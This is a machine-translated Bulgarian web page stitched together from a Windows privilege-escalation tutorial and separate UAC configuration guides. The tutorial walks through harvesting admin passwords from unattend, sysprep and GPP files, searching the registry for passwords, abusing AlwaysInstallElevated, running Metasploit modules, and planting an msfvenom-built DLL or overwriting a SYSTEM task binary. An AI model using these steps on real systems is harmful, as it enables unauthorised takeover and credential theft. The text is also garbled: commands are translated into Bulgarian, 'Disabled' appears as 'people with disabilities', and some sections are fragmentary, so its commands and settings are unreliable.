Повишаване на правата без искане на администраторска парола за конкретно приложение. Основи за повишаване на привилегиите на Windows Повишаване на потребителските привилегии в диспечера на устройства

Повишаване на правата без искане на администраторска парола за конкретно приложение.  Основи за повишаване на привилегиите на Windows Повишаване на потребителските привилегии в диспечера на устройства
Повишаване на правата без искане на администраторска парола за конкретно приложение. Основи за повишаване на привилегиите на Windows Повишаване на потребителските привилегии в диспечера на устройства

Днес ще говорим за повишаване на привилегиите на Windows. Ще научите как нападател може да ескалира привилегии и как да се предпазите от това.

Цялата информация е само за информационни цели. Нито редакторите на сайта, нито авторът на статията носят отговорност за неправилното й използване.

Повишаване на привилегиите с BeRoot

Повечето методи за повишаване на привилегиите са свързани с грешки в конфигурацията на инсталирания софтуер, било то пътят до изпълнимия файл на услугата, който не е ограден с кавички и съдържа интервал (тази ситуация се обработва доста интересно от Windows), или неправилно задайте права върху директорията с приложението.

Човекът е мързеливо същество и не иска да проверява всичко това ръчно всеки път. Следователно рано или късно трябваше да се появи инструмент, който да автоматизира тази рутина.

Вторичен манипулатор за влизане

Друг интересен трик включва използването на услугата за вторично влизане. Тази услуга ви позволява да стартирате програми, конзоли за управление на Microsoft и елементи на контролния панел като администратор, дори ако текущия потребителпринадлежи само към групата Users или Power Users. Въпросът е в това тази услугане изчиства манипулатори при създаване на нови процеси.

Това, което е важно за нас е, че почти всеки е податлив на тази уязвимост Windows версии(x32 и x64): от Vista до Windows 2012 Server. Но има и ограничения: за да ескалира успешно привилегиите, системата трябва да има инсталиран PowerShell 2.0 или по-нова версия, както и две или повече процесорни ядра. Metasploit Framework има специален модул exploit/windows/local/ms16_032_secondary_logon_handle_privesc.

Използването му предполага, че вече имаме сесия на meterpreter, която трябва да посочим в параметрите: set SESSION 1. Е, в случай на успешна експлоатация, ще имаме друга сесия с повишени привилегии.

\ pentestlab > wmic qfe списък | намери "3139914"

Заключение

Колкото и да се опитвам да събера всички възможни опции за увеличаване на привилегиите в една статия, това едва ли ще успее или статията ще нарасне до гигантски размери и ще стане безинтересна за вас. Така че е време да приключим. За защитата ще говорим в отделна статия.

Като цяло, ето начини, които ще ни помогнат да постигнем целта за увеличаване на привилегиите.

Отправната точка за тази кратка статия е непривилегированата обвивка ( Сметка). Може да сме използвали експлойт или да сме извършили атака и да сме получили тази обвивка.

По принцип в първоначалния момент ние не разбираме машината: какво прави, с какво е свързана, какво ниво на привилегия имаме или дори каква операционна система е.

Първо трябва да получим необходимата информация, за да разберем къде се намираме и с какво разполагаме:

Информация за системата | findstr /B /C:"Име на ОС" /C:"Версия на ОС"
Тази команда ви позволява да определите, както се вижда от нея, името и версията на операционната система. Можете да го изпълните без параметри, тогава изходът на командата ще бъде по-пълен, но това е достатъчно за нас.

  • име на хост - потребителско име.
  • echo %username% - потребителско име.
След това нека видим кои потребители все още са на този хост и да вземем повече подробна информацияза вашия потребител.
  • net users - други потребители
  • net user user1 - подробна информация за потребителя, където user1 е вашето потребителско име.
След като получихме информация за акаунта, ще разгледаме информация за мрежовото взаимодействие на този хост.

Първо, нека разгледаме наличните интерфейси и таблица за маршрутизиране.

  • ipconfig /all - информация за наличните интерфейси.
  • route print - таблица за маршрутизиране
  • arp -A - таблица с arp записи
След това нека да разгледаме активните интернет връзкаи правилата на защитната стена.
  • netstat -ano - активни мрежови връзки.
-a - изпълнението с този параметър ще покаже всички активни TCP връзки, както и TCP и UDP портове, слушащи в системата;
-n - параметър ви позволява да показвате активни TCP връзки с адреси и номера на портове;
-o - точно като предишния превключвател, показва активни TCP връзки, но към статистиката са добавени кодове на процеси, от които вече можете да определите точно кое приложение използва връзката.
  • netsh firewall show state - състояние на защитната стена
  • netsh firewall show config - конфигурация на защитната стена
И накрая, ще разгледаме бързо какво се изпълнява на компрометирания хост: планирани задачи, изпълнявани процеси, работещи услуги и инсталирани драйвери.

Schtasks /query /fo LIST /v
Където
/query - Показва данни за всички планирани задачи,
/fo СПИСЪК - Изход в списък.
/v - Показване на подробна информация за задачата.

Следващата команда свързва изпълняваните процеси с изпълняваните услуги.

Списък със задачи/SVC
Където,
/SVC - Показване на услуги за всеки процес.

Вижте също списъка работещи услуги Windows.

Нетно начало
Също така е полезно да разгледате информацията за драйверите на компрометираната система.

DRIVEQUERY
След това бих искал да спомена вероятно най-полезната команда на Windows - wmic. Екип WMIC ( Управление на Windows Instrumentation Command) се използва за получаване на информация за оборудване и система, контролни процеси и техните компоненти и промяна на настройките с помощта на възможностите на инструментите Управление на Windows(Windows Management Instrumentation или WMI). Добро описание.

За съжаление, някои конфигурации на Windows по подразбиране не позволяват достъп до WMIC, освен ако потребителят не е член на групата администратори (което е наистина добра идея). Никоя версия на XP не позволява достъп до WMIC от непривилегирован акаунт.

За разлика от това, Windows 7 Professional и Windows 8 Enterprise позволиха на потребители с ниски привилегии да използват WMIC по подразбиране.

Както обикновено - параметри на програмата:

Преди да продължим по-нататък, струва си да прегледаме събраната информация. Също така си струва да обърнете внимание на пачовете, инсталирани в системата, тъй като всяка информация за дупки в системата ще ни даде допълнителна подкрепа за увеличаване на нашите привилегии. Можете да използвате номера на HotFix, за да търсите уязвимости при ескалация на привилегии.

След това ще разгледаме автоматичната инсталация. Ако има нужда от инсталиране и конфигуриране на голям парк от машини, тогава, като правило, техническият персонал няма да се мести от машина на машина, за да конфигурира всяка поотделно. Има няколко решения за автоматична инсталация. За нас не е толкова важно какви са тези методи и как работят, а важното е какво оставят конфигурационни файлове, които се използват за инсталационния процес, съдържащи много чувствителна информация като продуктовия ключ на операционната система и администраторската парола. Това, което ни интересува най-много, е администраторската парола, с която можем да увеличим привилегиите си.

Обикновено това са следните директории:

  • c:\sysprep.inf
  • c:\sysprep\sysprep.xml
  • %WINDIR%\Panther\Unattend\Unattended.xml
  • %WINDIR%\Panther\Unattended.xml
Но си струва да проверите цялата система.

Тези файлове съдържат пароли в чист текст или BASE64 кодиране.
Примери:

Sysprep.inf - парола в чист текст.

Sysprep.xml - base64 кодирана парола.

"

Unattended.xml - base64 кодирана парола.

Освен това за хостове, свързани към домейна, можете да потърсите файла Group.xml, който съдържа AES256 криптирана парола, но която може да бъде декриптирана, тъй като ключът е публикуван в msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) и други източници. Но това е така, ако се използва политиката за създаване на локални потребители на хостове или, например, задаване на парола за локалния администратор.

Например, имам го тук:

След като го отворите, потърсете параметъра „cpassword“.

След това трябва да дешифрирате тази последователност. Използваме например CrypTool. Първо, нека декодираме Base64.
Особеността на Base64 е, че дължината му трябва да бъде кратна на 4. Следователно, ние броим блокове от 4 и ако в последния блок няма достатъчно знаци, тогава добавяме липсващите знаци със знаци „=“.
Получих 2 „=“.

Премахваме допълнителните точки, разделящи знаците, и получаваме паролата.

В допълнение към Group.xml, тук има няколко други файла с предпочитания за политика, които може да имат допълнителен набор от атрибути „cPassword“:

  • Услуги\Услуги.xml
  • ScheduledTasks\ScheduledTasks.xml
  • Printers\Printers.xml
  • Drives\Drives.xml
  • DataSources\DataSources.xml
Всички обаче обичаме автоматизираните решения, за да можем да стигнем до финалната линия възможно най-бързо. Тук има две основни опции, в зависимост от вида на обвивката/достъпа, който имаме. Има модул metasploit, който може да бъде изпълнен чрез установена сесия (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) или можете да използвате Get-GPPPassword, който е част от PowerSploit .

За да можем да използваме това, трябва да проверим дали и двата ключа в системния регистър са зададени и ако е така, можем да получим SYSTEM shell. Да проверим:

Reg заявка HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg заявка HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
Metasploit включва специален модул exploit/windows/local/always_install_elevated, който създава MSI файл със специален изпълним файл, вграден в него, който се извлича и изпълнява от инсталатора със системни привилегии. След като бъде изпълнен, msi файлът спира инсталацията, за да предотврати регистриране на действието в системата. Освен това, ако стартирате инсталацията с ключа /quiet, дори няма да видите грешка.

Е, малко полезни командичрез системно търсене:

Командата по-долу ще търси в файлова системаимена на файлове, съдържащи определени ключови думи. Можете да посочите произволен брой ключови думи.

Dir /s *pass* == *cred* == *vnc* == *.config*
Търсейки конкретни типове файлове по ключова дума, тази команда може да генерира много изходни данни.

Findstr /si парола *.xml *.ini *.txt
По същия начин двете команди по-долу могат да се използват за grep на системния регистър от ключови думи, в този случай „парола“.

Reg заявка HKLM /f парола /t REG_SZ /s
reg заявка HKCU /f парола /t REG_SZ /s
На този моментвече имаме достатъчно, за да получим системната обвивка. Но има няколко по-насочени атаки, за да получите желания резултат: ще ги разгледаме Windows услугии разрешения за файлове и папки. Нашата цел тук е да използваме слаби разрешения за ескалиране на привилегиите на сесията.

Ще проверяваме много права за достъп, accesschk.exe, който е инструмент от Microsoft Sysinternals Suite, ще ни помогне с това. Microsoft Sysinternals съдържа много страхотни инструменти. Пакетът може да бъде изтеглен от уебсайта на Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Можем да проверим необходимото ниво на привилегия за всяка услуга с помощта на accesschk.

Можем да видим разрешенията, които има всяко потребителско ниво.

Accesschk може автоматично да проверява дали имаме достъп за запис до услуга на Windows с определено потребителско ниво. Обикновено, като потребител с ниски права, искаме да поставим отметка на „Потребители“. Не забравяйте да проверите към кои потребителски групи принадлежите.

C Името е услуга на Windows, като ssdpsrv (посочете „*“, за да се покажат всички услуги)
-d Обработвайте само директории
-e Извежда само изрично посочени нива на интегритет (само за Windows Vista)
-k Името е ключ в регистъра, например hklm\software
-n Показване само на обекти, които нямат правила за достъп
-p Име е името или идентификатора на процеса (PID), като cmd.exe (посочете името като „*“, за да изброите всички процеси)
-q Пропуснете заглавието
-r Показване само на обекти, които имат достъп за четене
-s Рекурсивна обработка
-v Отпечатайте подробна информация
-w Изброява само обекти, които имат достъп за запис

Има и друга интересна команда:

Autorunsc.exe -a | findstr /n /R "Файлът\ не\ е открит"
Позволява ви да намерите запис в регистъра за файл, който е стартиран автоматично, но вече не е в системата. Записът може да остане, ако например услугата е била изтрита неправилно. Всеки път, когато системата стартира, тя се опитва безуспешно да изпълни този файл. Тази ситуация може да се използва и за разширяване на правомощията ви. Можете просто да замените нашия вместо този файл.

Първо: възпроизвеждаме резултатите от публикация, написана от Parvez от GreyHatHacker; „Повишаване на привилегиите чрез използване на слаби разрешения за папки“ (http://www.greyhathacker.net/?p=738).

Този пример е специален случай на отвличане на dll. Програмите обикновено не могат да функционират сами, те имат много ресурси, към които трябва да се свържат (предимно dll, но също и собствени файлове). Ако програма или услуга зареди файл от директория, до която имаме достъп за запис, можем да злоупотребим с това, за да стартираме обвивка с привилегиите, с които работи програмата.

обикновено, Windows приложениеще използва предварително зададени пътища за търсене, за да намери dll и ще проверява тези пътища в определен ред. Отвличането на Dll обикновено се случва чрез поставяне на злонамерени dll в един от тези пътища. Този проблем може да бъде разрешен чрез предоставяне на приложението на абсолютни пътища до необходимата dll.

Ред на търсене на DLL:

  1. Директорията, от която се стартира приложението
  2. 32-битова системна директория (C:\Windows\System32)
  3. 16-битова системна директория (C:\Windows\System)
  4. Windows директория (C:\Windows)
  5. Текуща работна директория (CWD)
  6. Директории в променливата на средата PATH (система, след това потребител)
Понякога приложенията се опитват да изтеглят dll файлове, изчезнал от автомобила. Това може да се случи по няколко причини, като например ако dll се изисква само от определени добавки или компоненти, които не са инсталирани. В този случай Parvez установи, че някои услуги на Windows се опитват да се заредят dlls, които не съществуват в инсталациите по подразбиране.

Тъй като dll не съществува, в крайна сметка преминаваме през всички пътища за търсене. Като потребител с ниски привилегии, имаме малък шанс да поставим злонамерен dll в елементи 1-4, 5. Но ако имаме достъп за запис до някоя от директориите, шансовете ни за победа са големи.

Нека да видим как работи това на практика, за нашия пример ще използваме услугата IKEEXT (IPSec IKE и AuthIP Key Modules), която се опитва да зареди wlbsctrl.dll.

Всяка директория в "C:\" ще даде достъп за запис на удостоверени потребители, това ни дава шанс.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"
C:\Python27 Средно задължително ниво (по подразбиране) RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CON TROL R W NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA ИЗТРИВАНЕ СИНХРОНИЗИРАНЕ READ_CONTROL
C:\Users\user1\Desktop> icacls "C:\Python27"
C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)( IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
Ф- пълен достъп.
(OI) - наследяване по обекти.
(CI) - наследяване по контейнери.
(IO) - само наследяване.
(NP) - забрана за разпространение на наследство.
(I) - наследяване на разрешенията от родителския контейнер.

Преди да продължите, трябва да проверите състоянието на услугата IKEEXT. В този случай можем да видим, че е настроен на “AUTO_START”!

Sc qc IKEEXT
QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE: 20 WIN32_SHARE_PROCESS START_TYPE: 2 AUTO_START ERROR_CONTROL: 1 NORMAL BINARY_PATH_NAME: C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP: TAG: 0 DISPLAY_NAME: IKE и AuthIP IPsec Keying Mod ules DEPENDENCIES: BFE SERVICE_START_NAME: LocalSystem
Сега знаем, че имаме необходимите условия и можем да създадем злонамерен dll и да отвлечем черупката!

Ние използваме Metasploit -> msfvenom, например.

След като прехвърлим evil.dll на нашия целеви компютър, всичко, което трябва да направим, е да го преименуваме на wlbsctrl.dll и да го преместим в „C:\Python27“. След като това стане, трябва търпеливо да изчакаме машината да се рестартира (или можем да опитаме да рестартираме принудително) и ще получим системната обвивка.

Копирайте evil.dll C:\Python27\wlbsctrl.dll
След това остава само да изчакате системата да се рестартира.

За нашия последен пример ще разгледаме планираните задачи. Ще опиша принципа, т.к Случаите на всеки може да са различни.

Намираме процеса, услугата, приложението, стартирано от планировчика на задачи от SYSTEM.
Проверяваме правата за достъп до папката, в която се намира нашата цел.

Accesschk.exe -dqv "path_to_target"
Очевидно това е сериозен проблем с конфигурацията, но още по-лошото е фактът, че всеки проверениПотребителят (удостоверен потребител) има достъп за запис в тази папка. В този пример можем просто да презапишем двоичния изпълним файл с файла, генериран в metasploit.

Може да се кодира допълнително.

Сега всичко, което остава, е да изтеглите злонамерения изпълним файл и да го презапишете в папката с изпълним файл. След като това стане, можем лесно да си легнем и да получим системно облекчение рано сутрин.

Тези два примера трябва да ни дадат представа за уязвимостите, които да търсим, когато разглеждаме разрешенията за файлове и папки. Ще отнеме време, за да научите всички binpaths за услуги на Windows, планирани задачи и задачи при стартиране.

И накрая, няколко съвета за използване на accesschk.exe.

Намерете всички слаби разрешения за папки на диск.

Accesschk.exe -uwdqs Потребители c:\ accesschk.exe -uwdqs "Удостоверени потребители" c:\
Намерете всички слаби разрешения за файлове на диска.

Accesschk.exe -uwqs Потребители c:\*.* accesschk.exe -uwqs "Удостоверени потребители" c:\*.*
Изглежда, че това е всичко.

За обикновения потребител UAC механизмът е досаден прозорец, който изисква потвърждение на почти всяко действие. По навик всички иновации на Microsoft се оценяват много скептично и потребителят търси как да ги деактивира напълно. Но може би си струва понякога да изтърпите малко неудобство в името на безопасността? В тази статия ще ви кажем защо е необходим UAC и как да го конфигурирате. UAC - Механизъм за контрол на потребителските акаунтиЧрез управление на акаунти UAC механизмът наистина ефективно защитава операционната система. Всички опити за деактивиране на механизми като UAC и получаване на статут на администратор за вашия компютърен акаунт се правят само за едно нещо - пълен контрол и пълни права на вашия собствен компютър, без значение колко опитен е потребителят. Но това се използва много активно от онези, които създават злонамерен софтуер, който след като проникне в компютъра ви, може да използва администраторски права - точно като вас. Опасно съдържание атакува системния регистър, файловата система и услугите на Windows. Ето защо, дори ако използвате администраторски акаунт, след като сте си предоставили пълни права, UAC все още активно ще „пречи“ на потребителя да отвори всички врати за вируси. Ако, разбира се, е активиран... В този случай UAC ще блокира целия достъп до файлове, които имат статус на системни файлове, както и в регистъра и услугите. Във всеки от тези случаи ще се появи характерен прозорец, който описва какво къде е достъпно и изисква вашето потвърждение. Например това (при инсталиране на програмата): НастроикиUACНастройката на UAC е доста проста и интуитивна. За тази цел създадохме нива на защита, общо 4. За да отворите прозореца за настройки на този механизъм и да се уверите в неговата простота, отворете „Старт“ и въведете например следната заявка в търсенето:
Кликнете върху „Промяна на настройките за контрол на потребителските акаунти“ и ще се отвори прозорец за проста конфигурация на UAC механизма.
Предлагат се 4 степени на защита - от най-високата до пълното изключване на този механизъм. Всяко ниво е описано подробно в областта отдясно на скалата. По-дълбоко персонализиранеМеханизмът на UAC е наличен в Правилата за сигурност. За да отворите тази услуга, можете да използвате различни методи:

  • Бутон „Старт“ - въведете заявката „Локална политика за сигурност“ в полето за търсене. Намерете желания резултат сред предложените;
  • Бързи клавиши " Win+Р" - ще се отвори прозорецът "Изпълни". Към него въведете или копирайте командата secpol.msc, потвърдете с Ok.


  1. Първият параметър засяга всички политики, определяйки техните характеристики този компютър. Ако включитози параметър, тогава за всички потребители в групата „Администратори“ ще се появи диалогов прозорец с искане за повишени привилегии (когато се задейства UAC). Ако деактивирайте, тогава ограниченията отпадат.
  2. Тази настройка е активирана по подразбиране за работни групи. Ако той включени, тогава цифровият подпис, издаден от Microsoft, се проверява за всички стартирани програми. Ако подписът липсва, приложението няма да се инсталира и ще изисква повишаване на правата от потребителя на работната група. След това трябва да въведете името и паролата на администраторския акаунт.
  3. При включванеТази опция кара всички UAC заявки да се изпращат до защитения работен плот, когато изключвам– към интерактивни.
  4. За потребители в групата на администраторите тази настройка определя типа подкана, която се появява, когато се изисква повишаване на правата.
    • Промоция без заявка.Не се изисква въвеждане на идентификационни данни и потвърждение на съгласие. Ако изберете тази опция, правата стават равни на вградения администраторски акаунт.
    • Подкана за идентификационни данни на защитения работен плот.Ако бъдете подканени за повишаване на защитения работен плот, ще бъдете подканени да въведете данните за вход и паролата на потребител с привилегии, за да продължите операцията с най-високите потребителски права.
    • Поискайте съгласие на защитен работен плот.Не е необходимо да въвеждате парола; вместо това ще бъдете подканени да разрешите или забраните повишаване на правата.
    • Заявка за пълномощия.Въведете парола за всички операции, които изискват повишени права.
    • Искане за съгласие.Поискайте разрешение за ескалиране на привилегии за всички операции, които го изискват.
    • Поискайте съгласие за двоични файлове на трети страни.За приложения на трети страни(не-Windows), които изискват повишаване, ще бъдете подканени да разрешите или откажете разрешение на вашия защитен работен плот. Ако е разрешено, операцията ще продължи с максимални права.
  5. Определя какви действия ще предприеме системата, когато се свърже с потребител, който има обикновени права, към приложения, които изискват повишаване на правата.
    • Подкана за идентификационни данни на защитен работен плот(зададено по подразбиране). Потребителят ще трябва да въведе администраторски идентификационни данни (име и парола) и операцията (ако е въведена правилно) ще се извърши на защитен работен плот.
    • Заявка за пълномощия.Потребителят ще трябва да въведе администраторски идентификационни данни (име и парола). Ако данните са въведени правилно, операцията ще продължи.
    • Автоматично деактивирайте заявките за ескалиране на права.Показва съобщение за забраната за увеличаване на привилегиите.
  6. При включенипараметър, тези приложения ще бъдат стартирани само ако се намират в безопасни папки, когато изключен- Така или иначе.
  7. Настройката, която е деактивирана по подразбиране, помага да се определи дали е необходима проверка на подписа за интерактивни PKI (публичен ключ) приложения. Включетеима смисъл само в организации, където този контрол е подходящ.
  8. За наследени приложения, които се опитват да получат достъп до защитени зони на системата. Ако деактивирайте, тогава тези приложения няма да се изпълнят изобщо, завършвайки с грешка. Ако включи(по подразбиране), тогава по време на изпълнение ще бъдат създадени пренасочвания за срив на определени места в системата и регистъра.
  9. Опция за стандартни потребители, която е деактивирана по подразбиране.
  10. Параметър, който също е хора с уврежданияпо подразбиране. В този случай, когато използвате вградения администраторски акаунт, всички приложения работят с максимални права. Ако то включи, тогава за вграден акаунт всички операции, които изискват повишаване, ще изискват потвърждение.
Какво ниво на защита трябва да използвам?Зависи изцяло от вашите лични предпочитания. Наистина ще трябва да изтърпите някои неудобства, които са свързани само с появата на досаден прозорец за потвърждение на действие, свързан с използването на системни ресурси. По този начин можете да създадете акаунт с ограничени права и да го използвате. В същото време създавайте сложна паролаза администраторски акаунт, без да го съхранявате на компютъра. Когато инсталирате приложения, които изискват повишени права, просто въведете името и паролата на администраторския акаунт. Това е единственият начин да сте сигурни, че вашата система е защитена от зловреден софтуер. По същия начин можете да защитите с парола определени файлове с администраторски достъп. За да направите това, просто трябва да намалите правата върху тези файлове за потребителския акаунт. Ако не се смятате за опитен потребител на Windows 7, докато активно използвате интернет, често обменяйте информация, като свържете сменяеми носители към вашия компютър, нашият съвет: не го изключвайUACи отделете време, за да го персонализирате внимателно. Този механизъм е в състояние успешно да се бори с много заплахи, независимо от антивирусния софтуер.

Част от статията описва подробно принципа на работа на User Account Control. В тази част ще говорим за настройката на UAC в случай, че вашият компютър работи самостоятелно, тоест не е част от домейн АктивенСправочник. За да конфигурирате Контрол на потребителските акаунти, използвайте функцията местна политикасигурност, която може да бъде намерена в локалния редактор на обекти групова политика.

Има 10 настройки на групови правила, които отговарят за конфигурирането на контрола на потребителските акаунти. За да промените настройките на политиката, трябва да отворите конзолната добавка „Редактор на локални групови правила“възел Компютърна конфигурация\Конфигурация на Windows\Настройки за защита\Локални правила\Настройки за защита. Тази статия ще ви покаже също как да конфигурирате всяка настройка на правилата, като използвате системен регистър. Следната таблица показва стойностите по подразбиране за всяка настройка на правилата.

Настройки на груповата политика за контрол на потребителските акаунти по подразбиране:

Настройка на групови правилаСтойност по подразбиране
Контрол на потребителските акаунти: Активирайте режима на одобрение от администраторВключени
Контрол на потребителските акаунти: Откриване на инсталиране на приложение и подкана за повишаванеВключени
Контрол на потребителските акаунти: Превключете към защитен работен плот, когато бъдете подканени за повишаванеВключени
Контрол на потребителските акаунти: Подканящо поведение за администратори в режим на администраторско одобрениеПодкана за съгласие за двоични данни, различни от Windows
Контрол на потребителските акаунти: Поведение за подкани за повишаване за стандартни потребителиЗаявка за пълномощия
Контрол на потребителските акаунти: Повишете привилегиите само за приложения на UIAccess, инсталирани на защитено мястоВключени
Контрол на потребителските акаунти: Повишете привилегиите само за подписани и проверени изпълними файловехора с увреждания
Контрол на потребителските акаунти: ако записът във файл или регистър е неуспешен, виртуализирайте до местоположението на потребителяВключени
Контрол на потребителските акаунти: Разрешете на приложенията на UIAccess да изискват повишаване, без да използват защитения работен плотхора с увреждания
Контрол на потребителските акаунти: Използвайте Admin Approval Mode за вградения администраторски акаунтхора с увреждания

Настройките на груповите правила, които се отнасят до контрола на потребителските акаунти (UAC), са разгледани подробно по-долу:

Всички администратори работят в режим на одобрение от администратор

Тази настройка на правилата определя характеристиките на всички правила за контрол на потребителските акаунти за компютъра. Тази настройка определя дали администраторските акаунти ще работят в „одобрен от администратора режим“, т.е. дали ще се показват диалогови прозорци с искане за повишаване на привилегиите. Деактивирането на тази настройка, грубо казано, напълно деактивира функционалността за контрол на потребителските акаунти. Ако промените тази настройка на правилата, трябва да рестартирате компютъра. Стойността по подразбиране е активирана.

Възможни стойности на параметрите:

  • Включени. Режимът на одобрение на администратор е активиран, за да разреши вградения администраторски акаунт и всички други потребители, които са членове на групата "Администратори", работят в режим на одобрение от администратор.
  • хора с увреждания. Режимът на одобрение на администратор и всички свързани настройки на правилата за контрол на потребителските акаунти ще бъдат деактивирани.

;Деактивирайте "EnableLUA"=dword:00000000

Откриване на инсталиране на приложение и подкана за повишаване

Тази настройка дефинира характеристиките за откриване на инсталиране на приложение за компютър, като проверява дали програмите, използвани за внедряване на приложения, са подписани или не. По подразбиране, ако потребителят влезе работна група, включено е.

Възможни стойности на параметрите:

  • Активирано (по подразбиране за дома). Ако инсталаторът на приложението открие необходимостта от повишени привилегии, потребителят получава подкана да въведе потребителското име и паролата за администраторския акаунт. Ако потребителят въведе правилни идентификационни данни, операцията продължава със съответните права. Типът заявка зависи от това към коя група принадлежи потребителят.
  • Деактивирано (по подразбиране на организацията). Когато изберете тази настройка, откриването на инсталатора на приложението не ви подканва за повишаване. Обикновено тази настройка се използва в организации, чиито компютри и потребители са част от домейн и използват делегирани инсталационни технологии (Group Policy Software Install - GPSI) за внедряване на приложения. Съответно не е необходимо да се открива инсталаторът.

Текущи настройки на правилата с помощта на регистъра:

;Деактивирайте "EnableInstallerDetection"=dword:00000000

Превключете към защитения работен плот, когато бъдете подканени за повишаване

Тази настройка на правилата определя дали подканите за повдигане се показват на интерактивния работен плот на потребителя или на защитения работен плот, когато се стартира UAC подкана. Стойността по подразбиране е активирана. Ако промените тази настройка на правилата, трябва да рестартирате компютъра.

Възможни стойности на параметрите:

  • Включени. Всички заявки за повдигане се показват на защитения работен плот, независимо от настройките на политиката за бързо поведение за администратори и стандартни потребители.
  • хора с увреждания. Всички искания за повишаване на правата се показват на интерактивния работен плот на потребителя.

Текущи настройки на правилата с помощта на регистъра:

;Деактивиране на "PromptOnSecureDesktop"=dword:00000000

Поведение на подкана за повдигане за администратори в режим на администраторско одобрение

Текущата настройка ви позволява да определяте действията на потребител, който е член на групата "Администратори"при извършване на операция, която изисква повишаване на правата. Стойността по подразбиране е зададена „Искане на съгласие за двоични файлове на трети страни (не Windows)“.

Възможни стойности на параметрите:

  • Промоция без заявка. Позволява на привилегировани акаунти да извършват операция, която изисква повишаване, без да се изисква съгласие или въвеждане на идентификационни данни. Препоръчително е да използвате тази опция само в среди с максимални потребителски ограничения. Когато изберете тази настройка, разрешенията на потребителя ще бъдат идентични с вградения администраторски акаунт.
  • . За всяка операция, която изисква повишаване, защитеният работен плот ще ви подкани да въведете потребителското име и паролата на root. Ако бъдат въведени правилни идентификационни данни, операцията ще продължи с максималните налични потребителски права.
  • Поискайте съгласие на защитен работен плот. За всяка операция, която изисква повишаване, защитеният работен плот ще ви подкани да изберете: "Позволява"или "забранява". При избор на опцията "Позволява", операцията ще продължи с максималните налични потребителски права.
  • Заявка за пълномощия. За всяка операция, която изисква повишаване, ще бъдете подканени да въведете потребителското име и паролата за администраторския акаунт. Ако въведете правилните идентификационни данни, операцията ще продължи с повишени привилегии.
  • Искане за съгласие. Когато избира тази опция, за всяка операция, която изисква повишаване на правата, потребителят ще бъде подканен да избере бутон: "Позволява"или "забранява". Когато натиснете бутона "Позволява"
  • Искане на съгласие за двоични файлове на трети страни (не за Windows). Когато изберете тази опция, на защитения работен плот ще се покаже подкана за избор: "Позволява"или "забранява", в случай че операцията за приложение на трета страна (не на Microsoft) изисква повишаване на правата. С едно натискане на бутон "Позволява", операцията ще продължи с максималните налични привилегии на потребителя.

Текущи настройки на правилата с помощта на регистъра:

;Повишаване без подкана "ConsentPromptBehaviorAdmin"=dword:00000000 ;Заявка за идентификационни данни на защитен работен плот;"ConsentPromptBehaviorAdmin"=dword:00000001 ;Подкана за съгласие на защитен работен плот;"ConsentPromptBehaviorAdmin"=dword:00000002 ;Подкана за идентификационни данни s;"Consent PromptBehaviorAdmin" =dword:00000003 ;Искане за съгласие;"ConsentPromptBehaviorAdmin"=dword:00000004 ;Искане за съгласие за двоични данни, различни от Windows ;"ConsentPromptBehaviorAdmin"=dword:00000005

Подканящо поведение за стандартни потребители

Тази настройка на правилата определя действията, предприети, когато стандартен потребител взаимодейства с приложения, които изискват повишени привилегии. Стойност по подразбиране - „Подкана за идентификационни данни на защитен работен плот“.

Възможни стойности на параметрите:

  • Заявка за пълномощия. Използвайки тази опция, стандартният потребител е подканен да избере администраторски акаунт и да въведе парола за извършване на последващи действия. Операцията ще продължи само ако идентификационните данни са въведени правилно.
  • Автоматично отказвайте заявки за повишаване. Ако изберете тази опция, на стандартен потребител ще бъде показано съобщение за грешка с отказан достъп, когато изпълнява операция, която изисква повишени привилегии. организации, настолни компютриизползвани от редовни потребители, могат да изберат тази настройка на правилата, за да намалят броя на обажданията за поддръжка.
  • Подкана за идентификационни данни на защитен работен плот. Избирайки тази опция, стандартният потребител получава подкана да избере администраторски акаунт и да въведе парола, за да извършва последващи действия само на защитения работен плот. Операцията ще продължи само ако идентификационните данни са въведени правилно.

Текущи настройки на правилата с помощта на регистъра:

;Автоматично отхвърляне на заявки за повишаване "ConsentPromptBehaviorUser"=dword:00000000 ;Подкана за идентификационни данни на защитен работен плот "ConsentPromptBehaviorUser"=dword:00000001 ; Подкана за идентификационни данни "ConsentPromptBehaviorUser"=dword:00000003

Повишавайте правата за приложения на UIAccess само когато са инсталирани на защитени места

Текущата настройка на правилата ви позволява да контролирате разрешението за местоположение на приложения, които изискват изпълнение на ниво на интегритет, дефинирано от атрибута на потребителския интерфейс за достъп (UIAccess) в местоположение на защитена файлова система. По подразбиране тази настройка е активирана за приложения с специални функции, атрибутът UIAccess в манифеста е зададен на True, за да контролира прозореца на заявката за ескалиране на привилегии. Ако приложенията са зададени на false, т.е. ако атрибутът е пропуснат или няма манифест за асемблирането, приложението няма да има достъп до защитения потребителски интерфейс. Само следните папки се считат за безопасни:

…\Program Files\, включително подпапки

…\Windows\system32\

...\Program Files (x86)\, включително подпапки за 64-битови версии на Windows

Възможни стойности на параметрите:

  • Включени. Приложението ще работи само с ниво на цялост на UIAccess, ако се намира в защитена папка на файловата система.
  • хора с увреждания. Приложението ще работи с ниво на цялост на UIAccess, дори ако не е в защитена папка на файловата система.

Текущи настройки на правилата с помощта на регистъра:

